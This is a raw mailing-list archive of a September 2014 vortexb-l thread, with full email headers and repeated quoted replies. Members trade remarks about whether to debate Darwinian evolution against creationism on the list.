currently up in Space aboard their highly sophisticated craft evolving right along with us (humankind), and no doubt they'll see us grow & learn well into the distant future. After all is said & done, in a few hundred thousand years this human biological mode of being we are now living will be as archaic as the stone age. Bye now. See you in the future, when & where it'll be a much better place! Loren << Yes but not in any vortex mailing list but in some other forum. Can't you find a better place for a discussion? David On Tue, Sep 2, 2014 at 2:35 AM, Jeff Fink wrote: > I will be attentive to the discussion and making some contributions. > > -----Original Message----- > From: Terry Blanton [mailto:hohlraum@gmail.com] > Sent: Sunday, August 31, 2014 5:08 PM > To: vortexb-l@eskimo.com > Subject: [VoB]:Re: [Vo]:Anyone want to debate Darwinian Evolution with me > in VortexB > > I have responded on vortexb; so, just hit reply to my message to respond > on that list. > > On Sun, Aug 31, 2014 at 1:48 PM, Jojo Iznart > wrote: > > Folks, things are slow here, but some crybabies are complaining that I am > > cluttering VortexL, burdening them and imposing on them. So, I am not > > going to start a new Darwinian Evolution thread here. > > > > But, I am issuing a challenge to anyone who thinks they understand > > Darwinian Evolution better than me, to please show up in VortexB and > > debate it with me. Heck, you have "thousands of books" with > > "irrefutable proof"; so dispatching me with your "well-informed" > > retorts should be easy. You should be able to dismantle my "fairy-land" > arguments quickly. > > > > So, how about it, any takers? (Jed?, Nigel?, James?, Lixa?, > > jwinter?, Sunil?, Rocha?, Ian Walker?) Anyone willing to give it a > > try to silence me and a chance to embarrass me and put me back into my > fairyland? > > > > Please indicate your willingness to participate in VortexB, by > > responding on this thread. If there are enough people accepting my > > challenge, I will get the ball rolling by posting on Irreducible > > Complexity. Or, you can start the ball rolling by posting a Darwinian > > Evolution topic of your choice in VortexB. Don't start the discussion > > here, lest we "burden" and "impose" on the deep thinking and meditation > of some people. > > > > If you don't accept my challenge, please have enough integrity to > > forever not refer to my beliefs as a fairytale. Fair Enough? Put up or > shut up. > > > > Oh, please don't hide behind your "I don't want to waste time" or "I > > don't want to debate cause that will only give them some credibility" > > nonsense. I am mocking your beliefs. I am mocking the stupidity of > > Darwinian Evolution and questioning the intelligence of those who > > believe in it.. Stand up and defend it with your honor. Let's have > fun!!! > > > > > > > > > > > > Jojo > > > > > > > >> From vortexb-l-request@eskimo.com Wed Sep 3 15:21:39 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.2 (2011-06-06) on mx2.eskimo.com X-Spam-Level: X-Spam-Status: No, score=0.9 required=5.0 tests=BAYES_50,DKIM_SIGNED,NO_RELAYS, T_DKIM_INVALID autolearn=no version=3.3.2 X-Original-To: billb@eskimo.com Delivered-To: billb@eskimo.com Received: by mx2.eskimo.com (Postfix, from userid 36987) id 5F2B13892; Wed, 3 Sep 2014 15:21:39 -0700 (PDT) Old-Return-Path: X-Original-To: vortexb-l@eskimo.com Delivered-To: vortexb-l@eskimo.com Received-SPF: none (austininstruments.com: No applicable sender policy available) receiver=mx2.eskimo.com; identity=mailfrom; envelope-from="jfields@austininstruments.com"; helo=nm10-vm6.access.bullet.mail.gq1.yahoo.com; client-ip=216.39.63.158 DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=yahoo.com; s=s2048; t=1409782898; bh=I7vSPgq0lcXEfvUBsgCAqtg7OSk7fPk7IaiHMYOWsuU=; h=Received:Received:Received:X-Yahoo-Newman-Id:X-Yahoo-Newman-Property:X-YMail-OSG:X-Yahoo-SMTP:From:To:Subject:Date:Message-ID:References:In-Reply-To:User-Agent:MIME-Version:Content-Type:Content-Transfer-Encoding; b=RLUAlUWwM5RZzeoeEgayL/xQqp1aaSB+7aNmIHZDMSi8pzsRa6MI5KEm40oUV4/pCzuhHjtqVtc2OnNzB5+IaB+5KaZGv0lZdgiztFoiYKX/rV+2Ax/46bhIQ2jnaVBjnVizYHcOfR+0mNg9cFFyArpYJUDxHoN5g/MHPBZLifjNPPH7EGsvsInfo0lnvIhyJSYrVOp+vIeJuJiAcYnpk5yTqeik4DNO7YdeVo66WJJgpakQTsy2RouFK2KcgsbX7BCFDTsoHuF85wh1OE9R3Ep3kE/jirGsT0JDw38DjslIxwld7+UNbCCeXGl97NukAR3p6iGks7M5GNuq2ZoRUQ== DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=s2048; d=yahoo.com; b=lF4e8xHeu4UlebRTrIzmw+McRCv7Wxrhb2Phgi85N6McojxIVer0umukGbRs3sigwNTkl40r0k8tESYKfN0ApwCm9MbhiTbKS9b/dYcQnkks0v5JXgai7tQugQCrT4DB7zTAeRikNYBswD/vrO+slD6EL14AkSqpVJH22WzU2wDnZ6wIEFTWwHxd+vBLXI3OiywvhmeY1SBEZwPDHkXjQYqFcXfbBpc1cThd02t+tueq/kuTmrVRQzmNPy6ATtxSZNuC7phMqklNZqWS3/acf/e242yq6g4Zfh/u3wIUfTaUkyxX/ZJwCp6jKXjEm3T7BtvJw53Yy9w8FofS5f4N5w==; X-Yahoo-Newman-Id: 576400.19937.bm@smtp114.sbc.mail.ne1.yahoo.com X-Yahoo-Newman-Property: ymail-3 X-YMail-OSG: TzJsiNQVM1khfeWY564yKFJ1leUyReAHxDk7icJ_IBuh6w0 HLA8mhN97NBX9wik6oaK76l1iTZmLMTyXzKyyqBrDg2SrCYxbrrkhgmaq4dw 4yukxrDiZ3IMjqC9nQdh0GbQZdp4TAs9bASwLTmCwZdH1SaO8l.MLqNHwpeX 4E9MxTeWaYSr.YnG5udnmO671DgsZZAL2.SMVWEXeYHess4dexxnKV9idTup fcCc4a3IwnpXs2sSIk5squ9IYqYmpoqYDuJ3nPnD5Hb_Kcg_Tm9iz7mX4SnM SXWIre5aStwgRcuwS1.QPeX61kMF.t.0L_InlAtbNbebjBMROV4RRzS2BGoe NGSH_w0fXxEoZ4rXBGTC3d2T5ogUWg8Zv26NjTp5JrJ8QGqWTFMGtC8MHUN. Ko9Ak9LCC2nxKH.sPFlyWwCvS7BXwSvXorYlzWklJxI9zNQ3m6dFRTC7uCtL zpaTxjKBtbESahPNlB1C9VIJ0lqhcynrS4W0RcF0.s90OcAckk9dc5Af9fWa TmhHx3f.mwbDnx9v6_POFw0Saigx5BiDOkS4HT4YRZ60Yjq2MAvd80M8_XAl XjTZU X-Yahoo-SMTP: .veQvSWswBCIhRAf06HOCIqxWVl7zuBhqzwrYRvbJrFOQy0v From: John Fields To: vortexb-l@eskimo.com Subject: Re: [VoB]:Re: [Vo]:Anyone want to debate Darwinian Evolution with me in VortexB Date: Wed, 03 Sep 2014 17:21:25 -0500 Message-ID: References: <900F17DE58024E069632DC9FEC599D28@msi> <20140831231501.GE20137@isis> In-Reply-To: <20140831231501.GE20137@isis> User-Agent: ForteAgent/7.20.32.1218 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: quoted-printable Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4733 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Resent-Date: Wed, 3 Sep 2014 15:21:39 -0700 (PDT) Status: RO X-Status: X-Keywords: X-UID: 974 >>On Sun, Aug 31, 2014 at 1:48 PM, Jojo Iznart = wrote: >>> Folks, things are slow here, but some crybabies are complaining that = I am >>> cluttering VortexL, burdening them and imposing on them. So, I am = not >>> going to start a new Darwinian Evolution thread here. >>> >>> But, I am issuing a challenge to anyone who thinks they understand = Darwinian >>> Evolution better than me, to please show up in VortexB and debate it = with >>> me. Heck, you have "thousands of books" with "irrefutable proof"; so >>> dispatching me with your "well-informed" retorts should be easy. You= should >>> be able to dismantle my "fairy-land" arguments quickly. >>> >>> So, how about it, any takers? (Jed?, Nigel?, James?, Lixa?, = jwinter?, >>> Sunil?, Rocha?, Ian Walker?) Anyone willing to give it a try to = silence me >>> and a chance to embarrass me and put me back into my fairyland? >>> >>> Please indicate your willingness to participate in VortexB, by = responding on >>> this thread. If there are enough people accepting my challenge, I = will get >>> the ball rolling by posting on Irreducible Complexity. Or, you can = start >>> the ball rolling by posting a Darwinian Evolution topic of your = choice in >>> VortexB. Don't start the discussion here, lest we "burden" and = "impose" on >>> the deep thinking and meditation of some people. >>> >>> If you don't accept my challenge, please have enough integrity to = forever >>> not refer to my beliefs as a fairytale. Fair Enough? Put up or shut= up. >>> >>> Oh, please don't hide behind your "I don't want to waste time" or "I = don't >>> want to debate cause that will only give them some credibility" = nonsense. I >>> am mocking your beliefs. I am mocking the stupidity of Darwinian = Evolution >>> and questioning the intelligence of those who believe in it.. Stand = up and >>> defend it with your honor. Let's have fun!!! >>> >>> Jojo --- I considered joining the discussion but, after seeing it being populated by top-posters, decided to waste my time elsewhere. John Fields From vortexb-l-request@eskimo.com Wed Sep 3 17:04:54 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.2 (2011-06-06) on mx2.eskimo.com X-Spam-Level: X-Spam-Status: No, score=0.8 required=5.0 tests=BAYES_50,NO_RELAYS,SPF_PASS autolearn=unavailable version=3.3.2 X-Original-To: billb@eskimo.com Delivered-To: billb@eskimo.com Received: by mx2.eskimo.com (Postfix, from userid 36987) id 37A82387B; Wed, 3 Sep 2014 17:04:54 -0700 (PDT) Old-Return-Path: X-Original-To: vortexb-l@eskimo.com Delivered-To: vortexb-l@eskimo.com Received-SPF: pass (ptd.net: 204.186.204.104 is authorized to use 'revtec@ptd.net' in 'mfrom' identity (mechanism 'ip4:204.186.204.0/24' matched)) receiver=mx2.eskimo.com; identity=mailfrom; envelope-from="revtec@ptd.net"; helo=proxyz12.mailnet.ptd.net; client-ip=204.186.204.104 From: "Jeff Fink" To: References: <3ecfe.709e978d.41388ca6@aol.com> In-Reply-To: <3ecfe.709e978d.41388ca6@aol.com> Subject: RE: [VoB]:Re: [Vo]:Anyone want to debate Darwinian Evolution with me in VortexB Date: Wed, 3 Sep 2014 20:04:33 -0400 Message-ID: <016c01cfc7d3$cf37ef10$6da7cd30$@ptd.net> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Mailer: Microsoft Outlook 15.0 Thread-Index: AQIzQYuEfOaBntr/WOi9RuxvKuiF7ZspIwzA Content-Language: en-us Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4734 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Resent-Date: Wed, 3 Sep 2014 17:04:54 -0700 (PDT) Status: RO X-Status: X-Keywords: X-UID: 975 We are not discussing anything else on VortexB so what's the problem? -----Original Message----- From: LORENHEYER@aol.com [mailto:LORENHEYER@aol.com] Sent: Wednesday, September 3, 2014 11:24 AM To: vortexb-l@eskimo.com Subject: Re: [VoB]:Re: [Vo]:Anyone want to debate Darwinian Evolution with me in VortexB I agree. Why don't you save the discussion for the future, when all biological life has been done away with (more or less)?. I would suggest of course that you be patient, because as you know Progress is slow. Rest assure that advanced civilizations are currently up in Space aboard their highly sophisticated craft evolving right along with us (humankind), and no doubt they'll see us grow & learn well into the distant future. After all is said & done, in a few hundred thousand years this human biological mode of being we are now living will be as archaic as the stone age. Bye now. See you in the future, when & where it'll be a much better place! Loren << Yes but not in any vortex mailing list but in some other forum. Can't you find a better place for a discussion? David On Tue, Sep 2, 2014 at 2:35 AM, Jeff Fink wrote: > I will be attentive to the discussion and making some contributions. > > -----Original Message----- > From: Terry Blanton [mailto:hohlraum@gmail.com] > Sent: Sunday, August 31, 2014 5:08 PM > To: vortexb-l@eskimo.com > Subject: [VoB]:Re: [Vo]:Anyone want to debate Darwinian Evolution with me > in VortexB > > I have responded on vortexb; so, just hit reply to my message to respond > on that list. > > On Sun, Aug 31, 2014 at 1:48 PM, Jojo Iznart > wrote: > > Folks, things are slow here, but some crybabies are complaining that I am > > cluttering VortexL, burdening them and imposing on them. So, I am not > > going to start a new Darwinian Evolution thread here. > > > > But, I am issuing a challenge to anyone who thinks they understand > > Darwinian Evolution better than me, to please show up in VortexB and > > debate it with me. Heck, you have "thousands of books" with > > "irrefutable proof"; so dispatching me with your "well-informed" > > retorts should be easy. You should be able to dismantle my "fairy-land" > arguments quickly. > > > > So, how about it, any takers? (Jed?, Nigel?, James?, Lixa?, > > jwinter?, Sunil?, Rocha?, Ian Walker?) Anyone willing to give it a > > try to silence me and a chance to embarrass me and put me back into my > fairyland? > > > > Please indicate your willingness to participate in VortexB, by > > responding on this thread. If there are enough people accepting my > > challenge, I will get the ball rolling by posting on Irreducible > > Complexity. Or, you can start the ball rolling by posting a Darwinian > > Evolution topic of your choice in VortexB. Don't start the discussion > > here, lest we "burden" and "impose" on the deep thinking and meditation > of some people. > > > > If you don't accept my challenge, please have enough integrity to > > forever not refer to my beliefs as a fairytale. Fair Enough? Put up or > shut up. > > > > Oh, please don't hide behind your "I don't want to waste time" or "I > > don't want to debate cause that will only give them some credibility" > > nonsense. I am mocking your beliefs. I am mocking the stupidity of > > Darwinian Evolution and questioning the intelligence of those who > > believe in it.. Stand up and defend it with your honor. Let's have > fun!!! > > > > > > > > > > > > Jojo > > > > > > > >> From vortexb-l-request@eskimo.com Thu Sep 4 01:46:39 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.2 (2011-06-06) on mx2.eskimo.com X-Spam-Level: X-Spam-Status: No, score=0.9 required=5.0 tests=BAYES_40,DKIM_SIGNED, DKIM_VALID,DKIM_VALID_AU,HTML_MESSAGE,NO_RELAYS,SPF_PASS autolearn=no version=3.3.2 X-Original-To: billb@eskimo.com Delivered-To: billb@eskimo.com Received: by mx2.eskimo.com (Postfix, from userid 36987) id 5D2C338BE; Thu, 4 Sep 2014 01:46:39 -0700 (PDT) Old-Return-Path: X-Original-To: vortexb-l@eskimo.com Delivered-To: vortexb-l@eskimo.com Received-SPF: pass (gmail.com ... _spf.google.com: Sender is authorized to use 'davidjonssonsweden@gmail.com' in 'mfrom' identity (mechanism 'include:_netblocks.google.com' matched)) receiver=mx2.eskimo.com; identity=mailfrom; envelope-from="davidjonssonsweden@gmail.com"; helo=mail-vc0-f174.google.com; client-ip=209.85.220.174 DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :content-type; bh=JvrO50IORb+Mox4nbGmJW0HWR5Pigvlx0Aln8i75fX4=; b=RV2RRSzhrkbShXvvYLP+2hmHMUwMFfLrWdGFLOemt0rmOlfHDwdpe97U9hiVD8iQ7T zovZke8tY4wss1XgKbVl/kuzMBnIAwdTOB5HuHvPmpjgrKPU4L3At2I+y+tzOBV1f3DX a1+ZYFT6az9WJ2tmqHWTmZDYWsK/kn0nhg6P7biH3GJpi1iE/+92tKnH0TkG/9/8NiqZ NYWaqQ0OJs4kaWChXx/CnYVWsmsCSEWVJXweGMu0pjX5wREzjD3V/OKBoav8EtvodYG2 Q9uYBPxF5qwN2Y/NW7DaSlDYbI+zcQVWVZ8imMYBb9kwdhLLXMRfPSBeV4aLFsfDa7UZ 38gQ== MIME-Version: 1.0 X-Received: by 10.220.184.70 with SMTP id cj6mr2222038vcb.5.1409820398129; Thu, 04 Sep 2014 01:46:38 -0700 (PDT) In-Reply-To: <016c01cfc7d3$cf37ef10$6da7cd30$@ptd.net> References: <3ecfe.709e978d.41388ca6@aol.com> <016c01cfc7d3$cf37ef10$6da7cd30$@ptd.net> Date: Thu, 4 Sep 2014 10:46:38 +0200 Message-ID: Subject: Re: [VoB]:Re: [Vo]:Anyone want to debate Darwinian Evolution with me in VortexB From: David Jonsson To: vortexb-l@eskimo.com Content-Type: multipart/alternative; boundary=089e0141a440071af50502396412 Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4735 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Resent-Date: Thu, 4 Sep 2014 01:46:39 -0700 (PDT) Status: O X-Status: X-Keywords: X-UID: 976 --089e0141a440071af50502396412 Content-Type: text/plain; charset=UTF-8 We can always discuss if physics or some part of physics is developing, or deteriorating, due to darwinian or creationistic processes. It doesn't just apply to live beings. David On Thu, Sep 4, 2014 at 2:04 AM, Jeff Fink wrote: > We are not discussing anything else on VortexB so what's the problem? > > -----Original Message----- > > From: LORENHEYER@aol.com [mailto:LORENHEYER@aol.com] > Sent: Wednesday, September 3, 2014 11:24 AM > To: vortexb-l@eskimo.com > Subject: Re: [VoB]:Re: [Vo]:Anyone want to debate Darwinian Evolution with > me in VortexB > > I agree. Why don't you save the discussion for the future, when all > biological life has been done away with (more or less)?. I would suggest of > course that you be patient, because as you know Progress is slow. Rest > assure that advanced civilizations are currently up in Space aboard their > highly sophisticated craft evolving right along with us (humankind), and no > doubt they'll see us grow & learn well into the distant future. After all > is said & done, in a few hundred thousand years this human biological mode > of being we > are now living will be as archaic as the stone age. Bye now. See you in > the > future, when & where it'll be a much better place! Loren > > << Yes but not in any vortex mailing list but in some other forum. Can't > you find a better place for a discussion? > > David > > > On Tue, Sep 2, 2014 at 2:35 AM, Jeff Fink wrote: > > > I will be attentive to the discussion and making some contributions. > > > > -----Original Message----- > > From: Terry Blanton [mailto:hohlraum@gmail.com] > Sent: Sunday, August > 31, 2014 5:08 PM > To: vortexb-l@eskimo.com > Subject: [VoB]:Re: > [Vo]:Anyone want to debate Darwinian Evolution with me > in VortexB > > > I > have responded on vortexb; so, just hit reply to my message to respond > > on > that list. > > > > On Sun, Aug 31, 2014 at 1:48 PM, Jojo Iznart > > > wrote: > > > Folks, things are slow here, but some crybabies are complaining that I > am > > > cluttering VortexL, burdening them and imposing on them. So, I am > not > > > going to start a new Darwinian Evolution thread here. > > > > > > But, I am issuing a challenge to anyone who thinks they understand > > > > Darwinian Evolution better than me, to please show up in VortexB and > > > debate it with me. Heck, you have "thousands of books" with > > > "irrefutable proof"; so dispatching me with your "well-informed" > > > retorts should be easy. You should be able to dismantle my > "fairy-land" > > arguments quickly. > > > > > > So, how about it, any takers? (Jed?, Nigel?, James?, Lixa?, > > > jwinter?, Sunil?, Rocha?, Ian Walker?) Anyone willing to give it a > > > try > to silence me and a chance to embarrass me and put me back into my > > fairyland? > > > > > > Please indicate your willingness to participate in VortexB, by > > > responding on this thread. If there are enough people accepting my > > > challenge, I will get the ball rolling by posting on Irreducible > > > Complexity. Or, you can start the ball rolling by posting a Darwinian > > > Evolution topic of your choice in VortexB. Don't start the discussion > > > here, lest we "burden" and "impose" on the deep thinking and meditation > > of some people. > > > > > > If you don't accept my challenge, please have enough integrity to > > > forever not refer to my beliefs as a fairytale. Fair Enough? Put up or > > shut up. > > > > > > Oh, please don't hide behind your "I don't want to waste time" or "I > > > > don't want to debate cause that will only give them some credibility" > > > nonsense. I am mocking your beliefs. I am mocking the stupidity of > > > > Darwinian Evolution and questioning the intelligence of those who > > > believe in it.. Stand up and defend it with your honor. Let's have > > fun!!! > > > > > > > > > > > > > > > > > > Jojo > > > > > > > > > > > > > >> > > > > --089e0141a440071af50502396412 Content-Type: text/html; charset=UTF-8 Content-Transfer-Encoding: quoted-printable
We can always discuss if physics or some part of physics i= s developing, or deteriorating, due to darwinian or creationistic processes= . It doesn't just apply to live beings.

David


On Thu, Sep 4= , 2014 at 2:04 AM, Jeff Fink <revtec@ptd.net> wrote:
We are not discussing anything else on VortexB so what's the problem?
-----Original Message-----

From: LORENHEYER@aol.com [mailto:= LORENHEYER@aol.com]
Sent: Wednesday, September 3, 2014 11:24 AM
To: vortexb-l@eskimo.com
Subject: Re: [VoB]:Re: [Vo]:Anyone want to debate Darwinian Evolution with<= br>
me in VortexB

I agree.=C2=A0 Why don't you save the discussion for the future, when a= ll
biological life has been done away with (more or less)?. I would suggest of=
course that you be patient, because as you know Progress is slow.=C2=A0 Res= t
assure that advanced civilizations are currently up in Space aboard their highly sophisticated craft evolving right along with us (humankind), and no=
doubt they'll see us grow & learn well into the distant future.=C2= =A0 After all
is said & done, in a few hundred thousand years this human biological m= ode
of being we
are now living will be as archaic as the stone age.=C2=A0 =C2=A0Bye now. Se= e you in
the
future, when & where it'll be a much better place!=C2=A0 =C2=A0 =C2= =A0 =C2=A0 Loren

=C2=A0<< Yes but not in any vortex mailing list but in some other for= um. Can't
you=C2=A0 find a better place for a discussion?

=C2=A0David


=C2=A0On Tue, Sep 2, 2014 at 2:35 AM, Jeff Fink <revtec@ptd.net> wrote:

=C2=A0> I will be attentive to the discussion and making some contributi= ons.
=C2=A0>
=C2=A0> -----Original Message-----
=C2=A0> From: Terry Blanton [mailto:hohlraum@gmail.com]=C2=A0 > Sent: Sunday, August
31, 2014 5:08 PM=C2=A0 > To: vor= texb-l@eskimo.com=C2=A0 > Subject: [VoB]:Re:
[Vo]:Anyone want to debate Darwinian Evolution with me=C2=A0 > in Vortex= B=C2=A0 >=C2=A0 > I
have responded on vortexb; so, just hit reply to my message to respond=C2= =A0 > on
that list.
=C2=A0>
=C2=A0> On Sun, Aug 31, 2014 at 1:48 PM, Jojo Iznart <jojoiznart65@gmail.com>=C2=A0 >
wrote:
=C2=A0> > Folks, things are slow here, but some crybabies are complai= ning that I
am
=C2=A0> > cluttering VortexL, burdening them and imposing on them.=C2= =A0 =C2=A0So, I am not
=C2=A0> > going to start a new Darwinian Evolution thread here.
=C2=A0> >
=C2=A0> > But, I am issuing a challenge to anyone who thinks they und= erstand=C2=A0 > >
Darwinian Evolution better than me, to please show up in VortexB and=C2=A0 = > >
debate it with me.=C2=A0 Heck, you have "thousands of books" with= =C2=A0 > >
"irrefutable proof"; so dispatching me with your "well-infor= med"
=C2=A0> > retorts should be easy.=C2=A0 You should be able to dismant= le my
"fairy-land"
=C2=A0> arguments quickly.
=C2=A0> >
=C2=A0> > So, how about it, any takers?=C2=A0 (Jed?,=C2=A0 Nigel?, Ja= mes?, Lixa?,=C2=A0 > >
jwinter?, Sunil?, Rocha?, Ian Walker?)=C2=A0 Anyone willing to give it a=C2= =A0 > > try
to silence me and a chance to embarrass me and put me back into my=C2=A0 &g= t;
fairyland?
=C2=A0> >
=C2=A0> > Please indicate your willingness to participate in VortexB,= by=C2=A0 > >
responding on this thread.=C2=A0 If there are enough people accepting my=C2= =A0 > >
challenge, I will get the ball rolling by posting on Irreducible=C2=A0 >= >
Complexity.=C2=A0 Or, you can start the ball rolling by posting a Darwinian= =C2=A0 > >
Evolution topic of your choice in VortexB.=C2=A0 Don't start the discus= sion=C2=A0 > >
here, lest we "burden" and "impose" on the deep thinkin= g and meditation=C2=A0 >
of some people.
=C2=A0> >
=C2=A0> > If you don't accept my challenge, please have enough in= tegrity to=C2=A0 > >
forever not refer to my beliefs as a fairytale.=C2=A0 Fair Enough?=C2=A0 Pu= t up or=C2=A0 >
shut up.
=C2=A0> >
=C2=A0> > Oh, please don't hide behind your "I don't wan= t to waste time" or "I=C2=A0 >
> don't want to debate cause that will only give them some credibili= ty"
=C2=A0> > nonsense.=C2=A0 I am mocking your beliefs.=C2=A0 I am mocki= ng the stupidity of=C2=A0 >
> Darwinian Evolution and questioning the intelligence of those who=C2= =A0 > >
believe in it..=C2=A0 Stand up and defend it with your honor.=C2=A0 Let'= ;s have=C2=A0 >
fun!!!
=C2=A0> >
=C2=A0> >
=C2=A0> >
=C2=A0> >
=C2=A0> >
=C2=A0> > Jojo
=C2=A0> >
=C2=A0> >
=C2=A0>
=C2=A0>
=C2=A0>
=C2=A0 >>
</HTML>



--089e0141a440071af50502396412-- From vortexb-l-request@eskimo.com Thu Sep 4 09:27:34 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.2 (2011-06-06) on mx1.eskimo.com X-Spam-Level: * X-Spam-Status: No, score=1.8 required=5.0 tests=BAYES_50,HTML_MESSAGE, NO_RELAYS,SPF_PASS autolearn=no version=3.3.2 X-Original-To: billb@eskimo.com Delivered-To: billb@eskimo.com Received: by mx1.eskimo.com (Postfix, from userid 36987) id 64BD55684; Thu, 4 Sep 2014 09:27:34 -0700 (PDT) Old-Return-Path: X-Original-To: vortexb-l@eskimo.com Delivered-To: vortexb-l@eskimo.com Received-SPF: pass (ptd.net: 204.186.204.104 is authorized to use 'revtec@ptd.net' in 'mfrom' identity (mechanism 'ip4:204.186.204.0/24' matched)) receiver=mx1.eskimo.com; identity=mailfrom; envelope-from="revtec@ptd.net"; helo=proxyz12.mailnet.ptd.net; client-ip=204.186.204.104 From: "Jeff Fink" To: Subject: Re: [VoB]:Re: [Vo]:Anyone want to debate Darwinian Evolution with me in VortexB Date: Thu, 4 Sep 2014 12:27:14 -0400 Message-ID: <007001cfc85d$164b6fb0$42e24f10$@ptd.net> MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0071_01CFC83B.8F3C19A0" X-Mailer: Microsoft Outlook 15.0 Thread-Index: Ac/IXPl4g9/PG/B4S+qxm9n1dlIUlA== Content-Language: en-us Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4736 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Resent-Date: Thu, 4 Sep 2014 09:27:34 -0700 (PDT) Status: RO X-Status: X-Keywords: X-UID: 977 This is a multipart message in MIME format. ------=_NextPart_000_0071_01CFC83B.8F3C19A0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit The creationists need the earth to be really young; the evolutionists need it to be really old. Let's compare observations of the world around us. Observational science rather than speculative science should lead to some truth. ------=_NextPart_000_0071_01CFC83B.8F3C19A0 Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable

The creationists need the earth to be really young; the evolutionists = need it to be really old.  Let’s compare observations of the = world around us.  Observational science rather than speculative = science should lead to some truth.

 =

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